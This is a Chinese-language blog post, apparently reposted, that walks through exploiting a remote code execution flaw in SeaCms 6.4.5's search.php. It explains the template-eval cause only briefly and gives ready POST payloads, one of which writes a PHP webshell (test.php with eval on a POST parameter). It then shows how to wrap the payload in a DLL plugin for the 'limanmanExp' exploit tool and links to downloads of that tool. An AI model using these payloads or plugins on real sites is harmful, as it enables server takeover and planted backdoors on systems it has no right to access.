SeaCms6.4.5存在遠程代碼執行漏洞,
注:工具地址
更新4.2版本
鏈接:https://pan.baidu.com/s/1j-dMtJYiOk2Pfo7QoEXHMA
提取碼:rw8l
https://wws.lanzous.com/b01zycnta
密碼:g3uz
開發手冊地址:https://www.kancloud.cn/qq496672097/limanmanexp
漏洞點存在于search.php中,
漏洞的主要成因
search.php呼叫_RunMagicQuotes方法,將全域變數注冊成變數,
在searchPHP中 echoSearchPage過濾不嚴,且直接將$order引數進行注冊,
最后使用模板echoSearchPage()方法進行翻譯,翻譯的程序中使用模板標簽,即可達到翻譯之后的模板是PHP代碼的目的,由于echoSearchPage()方法中的規定,代碼中包含if的部分才能夠被當作php代碼進行決議,并且使用eval進行代碼執行,所以還需要進行代碼組裝,
具體代碼審計部分請參閱網路資料,
復現
搭建環境
使用Phpmystudy 進行搭建, 注意點:不能使用php7進行復現 ,seacms僅支持非PHP7版本,
構造Post請求包
由已經公開的漏洞資訊可以知道,觸發點在search.php ,該PHP是首頁的搜索功能, 計劃使用burpsuit直接攔截資料包進行修改,

修改資料包內容

添加body內容為
searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
searchtype=5&searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=fwrite(fopen("test.php","w"),'<?php eval($_POST["pass"]);?>')
發送即可生成檔案名為test.php的木馬檔案,
limanmanExp插件制作
下載模板
https://www.kancloud.cn/qq496672097/limanmanexp/2139154
創建一個.net framework 4 庫檔案
下載模板,替換原有代碼
設定class名稱
設定class名稱為CNVD_2018_14102
設定url
設定url為url["url"]+="/search.php"

設定body

需要注意的是, 這里的
searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
searchtype=5&searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=fwrite(fopen("test.php","w"),'<?php eval($_POST["pass"]);?>')
VS會自動給你添加空格, 需要手動修正, 另外也需要注意轉義“等特殊字符,
設定header

由于是需要上傳POST資料,那么就必須設定ContentType等頭部, 需要注意的是, 這里的頭部型別沒有-,具體哪些頭名稱沒有-,請參考手冊

設定請求方式
請求方式與請求次數有關, 具體的請求關系圖如下:

由于沒有多次請求我們可以不管上面的圖
直接將numberOfTime修改為2即可,

生成.dll檔案,
點擊 ”生成“-》”重新生成解決方案“即可在專案的bin->debug目錄獲得dll檔案, 放入工具的插件目錄即可
測驗
由于只使用了一Poc開頭的方法, 那么在工具中也只能點擊POC按鈕,
測驗效果如下

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/264726.html
標籤:其他
